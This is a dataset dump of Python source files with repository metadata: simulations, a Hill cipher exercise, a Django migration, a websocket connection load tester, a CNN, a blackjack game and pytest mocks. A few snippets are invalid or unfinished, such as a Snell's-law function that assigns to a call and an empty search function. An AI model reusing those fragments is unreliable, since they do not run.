blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 2
616
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
69
| license_type
stringclasses 2
values | repo_name
stringlengths 5
118
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
63
| visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 2.91k
686M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 213
values | src_encoding
stringclasses 30
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 2
10.3M
| extension
stringclasses 246
values | content
stringlengths 2
10.3M
| authors
listlengths 1
1
| author_id
stringlengths 0
212
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f368aa90bf033d4dd4877e3d40accfd27087b568
|
8989fdb46823a6d393f4dc6880f7a3a3bc704d5b
|
/test/unit/test_fixed_population.py
|
cb38bc204dfb4e371ed05f2b5e9a62cafc9befac
|
[] |
no_license
|
giovannic/idmodels
|
9aea3d8f490621a149a5b625b6f5a81e634cbc49
|
7f6e0edbdbe377c0016b5da7b74999216ed6f013
|
refs/heads/master
| 2022-07-11T05:38:02.689348
| 2019-08-20T19:47:37
| 2019-08-20T19:47:37
| 203,024,925
| 0
| 0
| null | 2022-06-21T22:32:30
| 2019-08-18T15:43:48
|
Python
|
UTF-8
|
Python
| false
| false
| 1,643
|
py
|
import unittest
from core.models.population import FixedPopulationModel
class FixedPopulationTestCase(unittest.TestCase):
def test_cannot_create_invalid_compartments(self):
population = FixedPopulationModel()
population.initialise_expressions(1)
with self.assertRaises(ValueError):
population.create_compartment('susceptable', initial=-200)
def test_will_transition_states(self):
population = FixedPopulationModel()
s = population.create_compartment('susceptable', initial=200)
i = population.create_compartment('infected', initial=200)
population.initialise_expressions(1)
population.move(s, i, 10)
self.assertEqual(s.size.value, 190)
self.assertEqual(i.size.value, 210)
def test_will_transition_correctly_at_zero(self):
population = FixedPopulationModel()
s = population.create_compartment('susceptable', initial=200)
i = population.create_compartment('infected', initial=200)
population.initialise_expressions(1)
population.move(s, i, 300)
self.assertEqual(s.size.value, 0)
self.assertEqual(i.size.value, 400)
def test_reports_the_correct_size(self):
population = FixedPopulationModel()
s = population.create_compartment('susceptable', initial=200)
i = population.create_compartment('infected', initial=100)
population.initialise_expressions(1)
self.assertEqual(population.size.evaluate(), 300)
#TODO: implement test for simulation size of 2
def test_will_transition_correctly_for_multiple_simulations(self):
pass
|
[
"giovanni.charles@gmail.com"
] |
giovanni.charles@gmail.com
|
210436a93012629a7cc0c39ff7b3fac81b5b5194
|
8abb66b1961a387000f0aed0de6914d7ccf3b7d4
|
/UDF.py
|
66d45e54728fd8289d840dab96826c02a8f82ec7
|
[] |
no_license
|
elliottower/ValleyBikeProject
|
0af2ef9ed11994375f133e782a4f178a5bcf3634
|
1c61643529fa2b3876080957cc506626751c8a67
|
refs/heads/master
| 2020-09-09T01:35:05.932607
| 2019-12-18T06:31:19
| 2019-12-18T06:31:19
| 221,303,902
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,374
|
py
|
#!/usr/bin/python
from collections import Counter
import pandas as pd
import random
import math
# Import stations spreadsheet
df = pd.read_csv("AmherstBikeStations.csv",
sep=",",
header=0)
''' S = Set of Stations '''
S = [] # can do it as a list too but counters are nice and make things easier
# S = Counter()
for i in range(len(df['Station Name'])): # should be
S.append(df.iloc[i, 1])
# S[i] = df.iloc[i, 1]
#print(S[i])
# max(s) = max number of bikes that fit in a station- (given by data)
max = Counter()
for i in range(len(df['Station Name'])):
max[S[i]] = df.iloc[i, 2]
#print "max[%s]" % S[i], max[S[i]]
# min[i] = 10 # Just to test
# just arbitrarily say it's 2 so there's at least
# Import rental/return demand spreadsheet
routes11 = pd.read_csv("Valley_Routes_Report_September_2019_UMass_9_11.csv",
sep=",",
header=0)
routes19 = pd.read_csv("Valley_Routes_Report_September_2019_UMass_9_19.csv",
sep=",",
header=0)
routes30 = pd.read_csv("Valley_Routes_Report_September_2019_UMass_9_30.csv",
sep=",",
header=0)
days = [routes11, routes19, routes30]
# Calculate rental demand
def computeRentalDemand(station): #using lists
demand = [0] * 24 # start out at zero for every hour of the day
for day in days: # for all 3 days
for j in range(24): # loop through every hour of the day
for i in range(len(day['Start'])): # loop through all the lines in the spreadsheet
demand_time = day.iloc[i, 1] # column number 1 (2nd col)
if demand_time == j:
if day.iloc[i, 10] == station:
demand[j] += 1
newDemand = [float(x) / len(days) for x in demand]
demand = newDemand
return demand
def computeReturnDemand(station): #using lists
demand = [0] * 24 # start out at zero for every hour of the day
for day in days: # for all 3 days
for j in range(24): # loop through every hour of the day
for i in range(len(day['Start'])): # loop through all the lines in the spreadsheet
demand_time = day.iloc[i, 3] # column number 1 (2nd col)
if demand_time == j:
if day.iloc[i, 11] == station:
demand[j] += 1
newDemand = [float(x) / len(days) for x in demand]
demand = newDemand
return demand
def computeUDF(station, rental_demand, return_demand, interval_length):
number_iterations = 30
solution = [0] * (max[station] + 1)
for repetition in range(number_iterations): # repeat 30 times, 30 simulations
bikes_present = range(max[station]+1)
arrivals = []
k = 0
while k < len(rental_demand):
next_arrival = 0
while next_arrival < interval_length[k]:
current_rental_demand = rental_demand[k]
current_return_demand = return_demand[k]
next_arrival += math.exp(1/(current_rental_demand + current_return_demand + 0.01))
#print "k: ", k
#print "rental_demand[k]", rental_demand[k]
#print "interval_length[k]", interval_length[k]
if next_arrival < interval_length[k]:
arrivals.append(flip(current_rental_demand / (current_rental_demand + current_return_demand)))
else:
k += 1
break
### At this point, arrivals should have the list of arrivals over the course of the
### time horizon and we compute the expected number of stock-outs
for initial_bikes in bikes_present:
bikes = initial_bikes # bikes tracks the number of bikes after each arrival
for x in arrivals:
#print "x: ", x
#print "bikes: ", bikes
# - 1 indicates someone taking out a bike (rental demand)
# 1 indicates returning a bike
if (x == -1 and bikes == 0) or (x == 1 and bikes == max[station]):
solution[initial_bikes] += 1.0 / number_iterations
#print "stockout occurred: ", solution[initial_bikes]
# if a stock-out occurs, we count but number of bikes remains same
else:
bikes += x # else, number of bikes changes
return solution
def flip(p):
if random.random() < p:
return 1
else:
return -1
# Driver that computes UDF for each station
def getUDF():
UDF = Counter()
INTERVAL_LENGTH = 60 # 60 minute
for station in S:
rental_demand = computeRentalDemand(station)
return_demand = computeReturnDemand(station)
interval_length = [INTERVAL_LENGTH] * len(return_demand) # needs to be tuples
#print len(return_demand)
#print len(interval_length)
#demand = [rental_demand, return_demand, interval_length]
UDF[station] = computeUDF(station, rental_demand, return_demand, interval_length)
return UDF
def test():
UDF = getUDF()
for s in S:
print "Station: ", s, UDF[s]
print "UDF[s][1]", UDF[s][1]
|
[
"etower@umass.edu"
] |
etower@umass.edu
|
4e4e1e1d0d5c76f9f06d146612d2ea99485180ea
|
1f212c57147e2f02471cd0f258108e2128af52b8
|
/HillChiper.py
|
9e1827fcd20fcd139141f32883551f53d03d11e3
|
[] |
no_license
|
sinamustopa1/HillCipher
|
0f0a59b66594d372751108d675e9579d4ad9c668
|
f4ae371f4f1663108414bb910c227a07ec81744e
|
refs/heads/master
| 2022-12-19T19:49:06.025597
| 2020-09-28T12:25:31
| 2020-09-28T12:25:31
| 299,298,962
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,294
|
py
|
# 140810180009 Naufal Ariful Amri
# 140810180011 Alfari Sidnan
# 140810180017 Sina Mustopa
import numpy as np
key_matrix = [[0] * 2 for t in range(2)]
key_mat = [[0] * 2 for t in range(2)]
chiper_text = [[0] * 2 for t in range(2)]
plain_text = [[0] * 2 for t in range(2)]
numbertext = [[0] for t in range(2)]
plaintext = [[0] for t in range(2)]
chipertext = [[0] for t in range(2)]
# Mengubah char kunci menjadi angka
def getKeyNumber(key):
k = 0
for i in range (2):
for j in range(2):
key_matrix[i][j] = ord(key[k]) - 65
k += 1
return key_matrix
# Mengubah char chipertext menjadi angka
def getChNumber(key):
k = 0
for i in range (2):
for j in range(2):
chiper_text[i][j] = ord(key[k]) - 65
k += 1
return chiper_text
# Mengubah char plaintext menjadi angka
def getPlNumber(key):
k = 0
for i in range (2):
for j in range(2):
plain_text[i][j] = ord(key[k]) - 65
k += 1
return plain_text
# enkripsi
def encrypt(text,key):
for i in range(2):
plaintext[i] = ord(text[i]) - 65
#melakukan rumus dari C = K * P
for i in range(2):
value = 0
for j in range(2):
value = value + key_matrix[i][j] * plaintext[j]
numbertext[i] = value % 26
#dekripsi
def decrypt(text,key):
#mencari GCD dari key matrix
temp = np.linalg.det(key_matrix)
a = round(temp) % 26
b = 26
x,y, t1,t0 = 0,1, 1,0
while a != 0:
q, r = b//a , b%a
m, n = x-t1*q , y-t0 * q
b,a , x,y , t1,t0 = a,r ,t1,t0 , m,n
gcd = x % 26
t = np.linalg.inv(key_matrix) * temp * gcd
tek = np.round(t)
y = tek.astype(int)
for i in range(2):
chipertext[i] = ord(text[i]) - 65
#Melakukan rumus P = K^-1 * c
for i in range(2):
value = 0
for j in range(2):
value = value + y[i][j] * chipertext[j]
numbertext[i] = value % 26
def keyFunction(pl,ch):
#mengubah Chiper dan Plaintext menjadi angka
plain = getPlNumber(pl)
chiper = getChNumber(ch)
#mencari determinan plain dan chiper
temp = np.linalg.det(chiper)
temp1 = np.linalg.det(plain)
#mencari gcd dari chiper text
a = round(temp)
b = 26
x,y, t1,t0 = 0,1, 1,0
while a != 0:
q, r = b//a , b%a
m, n = x-t1*q , y-t0 * q
b,a , x,y , t1,t0 = a,r ,t1,t0 , m,n
gcd = x % 26
#mencari plain invers dengan cara P^-1 = adj(P) * det^1(C)
plain_invers = np.mod(np.linalg.inv(plain) * -temp1 * gcd, 26)
keey = np.dot(plain_invers,chiper)
y = np.round(np.mod(keey,26))
return y.astype(int)
def hillchiper(text, key, number):
getKeyNumber(key)
if number == 1:
encrypt(text,key)
for i in range (2):
chipertext[i] = chr(numbertext[i] + 65)
return chipertext
elif number == 2:
decrypt(text,key)
for i in range (2):
plaintext[i] = chr(numbertext[i] + 65)
return plaintext
else:
temp = keyFunction(text,key)
for i in range(2) :
for j in range(2):
key_mat[j][i] = chr(temp[i][j] + 65)
return key_mat
def main():
message = "FR"
message1 = "FRPQ"
pl = "FRID"
ch = "PQCF"
key = "HITD"
print('\nMessage : ' , message)
print('key : ' , key)
print ('Encrypt : ' , hillchiper(message,key,1))
print('\nMessage : ' , message1)
print('key : ' , key)
print ('Decrypt : ' , hillchiper(message1,key,2))
print('\nChiper : ' , message)
print('Plain: ' , message1)
print ('Key : ' , hillchiper(pl,ch,3))
if __name__ == "__main__":
main()
|
[
"mustopa.sina@gmail.com"
] |
mustopa.sina@gmail.com
|
2ab57e0a422988c3ab9c0a083d6d0b87670ebc16
|
53fab060fa262e5d5026e0807d93c75fb81e67b9
|
/backup/user_116/ch117_2020_03_23_21_27_19_174351.py
|
cc5e23b34f33ab76256d64d25a4ac3b24699c59a
|
[] |
no_license
|
gabriellaec/desoft-analise-exercicios
|
b77c6999424c5ce7e44086a12589a0ad43d6adca
|
01940ab0897aa6005764fc220b900e4d6161d36b
|
refs/heads/main
| 2023-01-31T17:19:42.050628
| 2020-12-16T05:21:31
| 2020-12-16T05:21:31
| 306,735,108
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 98
|
py
|
from math import sin
def snell_descartes(n1,n2,θ1):
sin(θ2)=n1*(sin(θ1))/n2
return θ2
|
[
"you@example.com"
] |
you@example.com
|
f8ace194fe1d0bc32f6bd45242ff8b34795f06b7
|
e8ebf7028f03aee9794096693a09ddfd52c0b1cf
|
/TFDatabase/dataframe_controller.py
|
2b3fbe6411fa4b78707da895e739f79417ad8d6c
|
[] |
no_license
|
dagleaves/Miscellaneous
|
752159d231476e4186dedb971bed42bc9ce0cad4
|
a3742e366b51777a588a6dfbfad735fa8c656d89
|
refs/heads/main
| 2023-02-18T16:08:19.221525
| 2021-01-14T00:53:34
| 2021-01-14T00:53:34
| 302,792,451
| 0
| 0
| null | 2020-12-03T15:49:04
| 2020-10-10T01:54:20
|
Java
|
UTF-8
|
Python
| false
| false
| 269
|
py
|
import pandas as pd
try:
database = pd.read_csv('database.csv')
except FileNotFoundError:
response = input('File not found! Download database? (y/n)')
if response == '' or response.lower() == 'y':
pass
# Download database
def search(toy):
|
[
"68761152+dagleaves@users.noreply.github.com"
] |
68761152+dagleaves@users.noreply.github.com
|
0535495967d0332e764b0470f019bcb21263c717
|
e6b3a576d8c8bc79aa6d85aeb56f655553d36a3c
|
/Game_over.py
|
c40f0da50b054021a072328aedf3e24aaf35de5d
|
[] |
no_license
|
Lehsey/Game_antology_on_minimal
|
1d7e85c558614674e347d53f853d6e17e034fda8
|
e7f7efa08edcc0f90c6fd81b1792f5714db89aaa
|
refs/heads/master
| 2020-08-29T11:29:11.069314
| 2019-11-21T14:52:40
| 2019-11-21T14:52:40
| 218,019,012
| 0
| 1
| null | 2019-11-01T11:25:53
| 2019-10-28T10:14:14
|
Python
|
UTF-8
|
Python
| false
| false
| 2,100
|
py
|
from PyQt5 import QtWidgets as widget
import Records
class GameOver(widget.QWidget):
def __init__(self, game, rec):
super().__init__()
# инициализация
self.game_name = game
self.rec = rec
self.setupUI()
def setupUI(self):
self.setWindowTitle('Game Over!')
#установка интерфейса
self.setupInputName()
self.setupButtons()
self.setupGrid()
self.setFixedSize(self.sizeHint())
def setupInputName(self):
self.input_name_text = widget.QLabel('Введите имя:', self)
self.input_name = widget.QLineEdit(self)
def setupButtons(self):
self.set_record = widget.QPushButton('Продолжить')
self.set_record.clicked.connect(self.setRecord)
self.cancel_button = widget.QPushButton('Отмена')
self.cancel_button.clicked.connect(self.close)
def setupGrid(self):
self.grid = widget.QVBoxLayout(self)
self.input_name_frame = widget.QWidget(self)
self.input_name_layout = widget.QHBoxLayout(self.input_name_frame)
self.input_name_layout.addWidget(self.input_name_text, 0)
self.input_name_layout.addWidget(self.input_name, 1)
self.buttons_frame = widget.QWidget(self)
self.buttons_layout = widget.QHBoxLayout(self.buttons_frame)
self.buttons_layout.addWidget(self.set_record)
self.buttons_layout.addWidget(self.cancel_button)
self.grid.addWidget(self.input_name_frame)
self.grid.addWidget(self.buttons_frame)
self.setLayout(self.grid)
def setRecord(self):
#запись рекорда в зависимости от игры
if self.game_name == "Змейка":
Records.set_rec(
self.game_name, self.input_name.text(), self.rec)
elif self.game_name == 'Ним':
Records.set_rec(
self.game_name, self.input_name.text(), self.rec)
self.hide()
|
[
"noreply@github.com"
] |
Lehsey.noreply@github.com
|
6ec103878eced29e866f07f54b7c8de32b53129b
|
311291c4c0a6bb74827ecf019dde46d145013ec8
|
/find_stable_points.py
|
5a4f6f499f30f7d6b21a99ecf781075dcb872d00
|
[] |
no_license
|
goedel-gang/bifurcation_logistic_map
|
bd6361a8cbb1123d2293be37ab8b492d06db6c9a
|
aa37c9794ad830004de318c9b1f72c3c9929586e
|
refs/heads/master
| 2020-05-03T09:37:08.088101
| 2019-06-26T08:59:51
| 2019-06-26T08:59:51
| 178,559,017
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 536
|
py
|
import decimal
from time import sleep
def logi_map(x_n, r):
return r * x_n * (1 - x_n)
def stable_points(prec, f):
decimal.getcontext().prec = prec
x = decimal.Decimal(0.5)
seen = set()
while x not in seen:
seen.add(x)
x = f(x)
endpoint = x
x = f(x)
osc = [x]
while x != endpoint:
x = f(x)
osc.append(x)
return osc
if __name__ == "__main__":
for r in range(24, 35):
print(0.1 * r, stable_points(6, lambda x: logi_map(x, decimal.Decimal(0.1 * r))))
|
[
"izaak.van.dongen@gmail.com"
] |
izaak.van.dongen@gmail.com
|
ee987387848f8cbe5c0ca7f34274b86608007c54
|
1abb8c4fed56b90f1820e68ee398dc4999a812e5
|
/Understandings/next.py
|
a30f43bf333dd37c43feeaff3b7d9773cc72b25b
|
[] |
no_license
|
tymurKoltunov/raspberryPI_foundation
|
de9b5355430556c6918fa498aa3ac4c23db64cd4
|
76020727c94139b5c5f46db410d03fd720320574
|
refs/heads/master
| 2022-09-18T01:02:09.488608
| 2020-06-04T03:52:47
| 2020-06-04T03:52:47
| 257,062,904
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 141
|
py
|
def countdown():
n = 4
while (n > 0):
yield n
n -= 1
c = countdown()
print(f"{c} + '1'")
print(f"{next(c)} + '2'")
|
[
"tymur.koltunov@nure.ua"
] |
tymur.koltunov@nure.ua
|
8298294ab318bf5052e57b1984a626a4f03e7664
|
69591ed61e4414680de0c1cf574e175692d89301
|
/Practica4/datamodel/migrations/0001_initial.py
|
8c8739906a459c5092e9726316f922f733fff2ee
|
[] |
no_license
|
andressp05/InformationSystems-Project
|
52de1f44643c7af82d4177f63d3433d3c026b427
|
96af93ca8222bd69ee8faa320c200825bf0bc2e6
|
refs/heads/master
| 2022-04-10T13:12:24.199998
| 2020-03-26T17:51:21
| 2020-03-26T17:51:21
| 250,321,501
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,227
|
py
|
# Generated by Django 2.2.6 on 2019-11-26 00:22
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Counter',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('value', models.IntegerField(null=True)),
],
),
migrations.CreateModel(
name='Game',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('cat1', models.IntegerField(default=0)),
('cat2', models.IntegerField(default=2)),
('cat3', models.IntegerField(default=4)),
('cat4', models.IntegerField(default=6)),
('mouse', models.IntegerField(default=59)),
('cat_turn', models.BooleanField(default=True)),
('status', models.IntegerField(default=0)),
('cat_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='games_as_cat', to=settings.AUTH_USER_MODEL)),
('mouse_user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='games_as_mouse', to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='Move',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('origin', models.IntegerField()),
('target', models.IntegerField()),
('date', models.DateField(default='2019-11-26')),
('game', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='moves', to='datamodel.Game')),
('player', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
|
[
"andres.salas@estudiante.uam.es"
] |
andres.salas@estudiante.uam.es
|
ea7fc7390b542d4dfea40144a9c5c6705e0968ac
|
6fc7ad0675e0ce0b4e08beb4d66709d4ab2a6c18
|
/Python代码/慕课网Python高级课程/chapter02-魔法函数/1.py
|
784ea91ab2f8c5b5f800484937308c92bca5785d
|
[] |
no_license
|
Nelocage/algorithm
|
81a6b733d158ba8df804f62b10bb08dbb7de591f
|
7957ded5dd68e145aa152eb05c6b221192942bf2
|
refs/heads/master
| 2020-03-27T11:12:17.893149
| 2018-09-08T14:59:19
| 2018-09-08T14:59:19
| 146,463,239
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,104
|
py
|
#魔法函数就是以双下划线开头，双下划线结尾的函数
#for函数会拿到一个迭代器，会优先查找类的__iter__方法，若没有则有getitem方法也可以，魔法函数有多个代替品，程序需要实现某些魔法函数时
#会在多个魔法函数中查找， 实现任意一个即可
# 实现魔法函数可以增加自定义类的特性，魔法函数会影响到使用Python的语法
# 学习切片操作
#魔法函数与Python从哪个类继承没有关系
class magic():
#常见魔法函数
#字符串表示
def __repr__(self):
pass
def __str__(self):
pass
#集合，序列相关
def __len__(self):
pass
def __getitem__(self, item):
pass
def __setitem__(self, key, value):
pass
def __delitem__(self, key):
pass
def __contains__(self, item):
pass
#迭代相关
def __iter__(self):
pass
def __next__(self):
pass
#可调用
def __call__(self, *args, **kwargs):
pass
#with上下文管理器
def __enter__(self):
pass
def __exit__(self, exc_type, exc_val, exc_tb):
pass
#数值转换
def __abs__(self):
pass
def __bool__(self):
pass
def __int__(self):
pass
def __float__(self):
pass
def __hash__(self):
pass
#元类相关
def __new__(cls, *args, **kwargs):
pass
def __init__(self):
pass
#属性相关
def __getattr__(self, item):
pass
def __setattr__(self, key, value):
pass
def __getattribute__(self, item):
pass
#def __setattribute__:
pass
def __dir__(self):
pass
#属性描述符
def __get__(self, instance, owner):
pass
def __set__(self, instance, value):
pass
def __delete__(self, instance):
pass
#协程相关
def __await__(self):
pass
def __aiter__(self):
pass
def __anext__(self):
pass
def __aexit__(self, exc_type, exc_val, exc_tb):
pass
def __aenter__(self):
pass
|
[
"1784809727@qq.com"
] |
1784809727@qq.com
|
139fc43ea6710f50dbe6f5a4640851fdeeae124a
|
a86db906f3acb78a8921814ab295265bc98c4a73
|
/BackEnd/ObjectRecognition/trafficsignnet.py
|
b5ff088721f28614fac2ee38789b07d003fdfee2
|
[] |
no_license
|
filipbozic00/Traffic-analizer
|
f431250e8adeb1eda645ee1579bc5f3bf29a6a8b
|
53a08c45a857db01f0b4c28412d92c8ce2616776
|
refs/heads/master
| 2023-06-25T03:02:44.199759
| 2021-07-20T13:40:13
| 2021-07-20T13:40:13
| 387,800,728
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,674
|
py
|
import cv2
from imutils.convenience import resize
from matplotlib import pyplot as plt
import numpy as np
import imutils
import pytesseract as tess
import tensorflow
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import BatchNormalization
from tensorflow.keras.layers import Conv2D
from tensorflow.keras.layers import MaxPooling2D
from tensorflow.keras.layers import Activation
from tensorflow.keras.layers import Flatten
from tensorflow.keras.layers import Dropout
from tensorflow.keras.layers import Dense
from tensorflow.python.keras.layers.convolutional import Conv
tess.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
class TrafficSignNet:
@staticmethod
#image dimension, depth and number of classes in the dataset
def build(width, height, depth, classes):
# initialize the model along with the input shape to be
# "channels last" and the channels dimension itself
model = Sequential()
inputShape = (height, width, depth)
chanDim = -1
# CONV => RELU => BN => POOL
model.add(Conv2D(8, (5,5), padding="same", input_shape=inputShape))
model.add(Activation("relu"))
model.add(BatchNormalization(axis=chanDim))
model.add(MaxPooling2D(pool_size=(2,2)))
# first set of (CONV => RELU => CONV => RELU) * 2 => POOL
model.add(Conv2D(16, (3,3), padding="same"))
model.add(Activation("relu"))
model.add(BatchNormalization(axis=chanDim))
model.add(Conv2D(16, (3,3), padding="same"))
model.add(Activation("relu"))
model.add(BatchNormalization(axis=chanDim))
model.add(MaxPooling2D(pool_size=(2,2)))
# second set of (CONV => RELU => CONV => RELU) * 2 => POOL
model.add(Conv2D(32, (3, 3), padding="same"))
model.add(Activation("relu"))
model.add(BatchNormalization(axis=chanDim))
model.add(Conv2D(32, (3, 3), padding="same"))
model.add(Activation("relu"))
model.add(BatchNormalization(axis=chanDim))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(128))
model.add(Activation("relu"))
model.add(BatchNormalization())
model.add(Dropout(0.5))
# second set of FC => RELU layers
model.add(Flatten())
model.add(Dense(128))
model.add(Activation("relu"))
model.add(BatchNormalization())
model.add(Dropout(0.5))
#softmax classifier
model.add(Dense(classes))
model.add(Activation("softmax"))
#return the constructed network architecture
return model
|
[
"filip.bozic@student.um.si"
] |
filip.bozic@student.um.si
|
a64e2e09dd7b30e5f219fc94a7b62eca86a430aa
|
b24492f688e59a72e30fb0504133d2e260aa88bf
|
/011_blackjack/angela_blackJack.py
|
bfcd91de5fe6ed22904b14b1d26c5a2b17c167ec
|
[] |
no_license
|
zenvin/100DaysOfCode
|
632da387a8f1022508091eecb8c07591b5219564
|
885c8833a3d56d9b6da05f0dc601aa4a00089742
|
refs/heads/main
| 2023-06-04T02:12:46.639881
| 2021-06-23T05:27:54
| 2021-06-23T05:27:54
| 369,921,097
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,215
|
py
|
import random
import os
from art import logo
def deal_card():
"""Returns a randomc card from the deck"""
cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]
card = random.choice(cards)
return card
def calculate_score(cards):
"""Take a list of cards and return a score for those cards"""
#instead of if 11 in cards and 10 in cards; just do 21
if sum(cards) == 21 and len(cards) == 2:
return 0
if 11 in cards and sum(cards) > 21:
cards.remove(11)
cards.append(1)
return sum(cards)
def compare(user_score, computer_score):
if user_score == computer_score:
return "Draw 😊"
elif computer_score == 0:
return "Lose, opponent has Blackjack 😢"
elif user_score == 0:
return "Win with a Blackjack 😎"
elif user_score > 21:
return "You went over. You lose."
elif computer_score > 21:
return "Opponent went over. You win. 😁"
elif user_score > computer_score:
return "You win 😄"
else:
return "You lose 😤"
def play_game():
print(logo)
user_cards = []
computer_cards = []
is_game_over = False
for _ in range(2):
user_cards.append(deal_card()) #combine lines 15 and 16
# new_card = deal_card()
# user_cards.append(new_card) #adds a single item
computer_cards.append(deal_card())
while not is_game_over:
user_score = calculate_score(user_cards)
computer_score = calculate_score(computer_cards)
print(f" Your cards: {user_cards}, current score: {user_score}")
print(f" Computer's first card: {computer_cards[0]}")
if user_score == 0 or computer_score == 0 or user_score > 21:
is_game_over = True
else:
user_should_deal = input("Type 'y' to get another card, type 'n' to pass: ")
if user_should_deal == 'y':
user_cards.append(deal_card())
else:
is_game_over = True
while computer_score != 0 and computer_score < 17:
computer_cards.append(deal_card())
computer_score = calculate_score(computer_cards)
print(f" Your final hand: {user_cards}, final score: {user_score}.")
print(f" Computer's final hand: {computer_cards}, final score: {computer_score}.")
print(compare(user_score, computer_score))
while input("Do you want to play a game of Black Jack? Type 'y' or 'n': ") == 'y':
os.system('cls')
play_game()
|
[
"zevin@protonmail.com"
] |
zevin@protonmail.com
|
382ec61b5d92e38174ded2840080940b3653dd40
|
d72505a7961bf7f96094a6c7013f3c794495044b
|
/client.py
|
4856fbb4f78c0f80314f35362b41858153512a26
|
[] |
no_license
|
520hacker/websocket-connetions-benchmark
|
fa6ce757ec9cd68c5bcd60a5421700af6ae4814b
|
af609d775742cfeca5714133cddea32c8b0c51c0
|
refs/heads/master
| 2020-06-05T19:20:43.277616
| 2019-02-13T08:08:55
| 2019-02-13T08:08:55
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,821
|
py
|
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# debug in python 3.6
#__author__ == 'ipcpu'
import websocket
import time
import threading
import json
import multiprocessing
from threadpool import ThreadPool, makeRequests
#修改成自己的websocket地址
WS_URL = "ws://10.140.12.45:8888/"
#定义进程数
processes=5
#定义线程数（每个文件可能限制1024个，可以修改fs.file等参数）
thread_num=5000
def on_message(ws, message):
print(message)
pass
def on_error(ws, error):
print(error)
pass
def on_close(ws):
print("### closed ###")
pass
def on_open(ws):
def send_trhead():
#设置你websocket的内容
send_info = {"cmd": "refresh", "data": {"room_id": "58", "wx_user_id": 56431}}
#每隔10秒发送一下数据使链接不中断
while True:
time.sleep(10)
ws.send(json.dumps(send_info))
t = threading.Thread(target=send_trhead)
t.start()
def on_start(num):
time.sleep(num%20)
websocket.enableTrace(True)
ws = websocket.WebSocketApp(WS_URL + str(num),
on_message=on_message,
on_error=on_error,
on_close=on_close)
ws.on_open = on_open
ws.run_forever()
def thread_web_socket():
#线程池
pool = ThreadPool(thread_num)
num = list()
#设置开启线程的数量
for ir in range(thread_num):
num.append(ir)
requests = makeRequests(on_start, num)
[pool.putRequest(req) for req in requests]
pool.wait()
if __name__ == "__main__":
#进程池
pool = multiprocessing.Pool(processes=processes)
#设置开启进程的数量
for i in range(processes):
pool.apply_async(thread_web_socket)
pool.close()
pool.join()
|
[
"you@example.com"
] |
you@example.com
|
b3bd6d7c6319d309c4fab6cf10a4e82d95fae6f3
|
f3e0663824268443985685538c972f94e86fe97f
|
/globus_contents_manager/tests/unit/tests.py
|
5ded953695041917c612978f7912f5c9a561acf7
|
[
"Apache-2.0"
] |
permissive
|
rpwagner/globus-contents-manager
|
370bf7b56eee968794028a52bbde27206f28684c
|
40ad5e8ef97686feff4ae36ff0f71b0c600c3e83
|
refs/heads/master
| 2020-08-13T02:05:46.821373
| 2019-08-19T16:55:07
| 2019-08-19T16:55:07
| 214,887,611
| 0
| 0
|
Apache-2.0
| 2019-10-13T20:17:27
| 2019-10-13T20:17:27
| null |
UTF-8
|
Python
| false
| false
| 2,439
|
py
|
from unittest.mock import Mock
import pytest
import globus_sdk
# from .mocks import GlobusTransferTaskResponse
from . import testfuncs
class MockGlobusResponse:
"""Mimics the GlobusSDK Response object"""
data = {}
@pytest.fixture
def mock_ls_response():
"""Mock an operation_ls response to return the following data."""
r = MockGlobusResponse()
r.data = {'DATA': [{'name': 'foo.txt'}, {'name': 'bar.txt'}]}
return r
@pytest.fixture
def mock_operation_ls(monkeypatch, mock_ls_response):
"""Mock the globus_sdk directly, so anything that calls
TransferClient.operation_ls() is mocked with a mock_ls_response. NOTE! This
will not work for any modules that do
'from globus_sdk import TransferClient'. This is because the module will
import the class before we mock it."""
mock_transfer_instance = Mock()
mock_transfer_instance.operation_ls.return_value = mock_ls_response
mock_transfer_class = Mock(return_value=mock_transfer_instance)
monkeypatch.setattr(globus_sdk, 'TransferClient', mock_transfer_class)
return mock_operation_ls
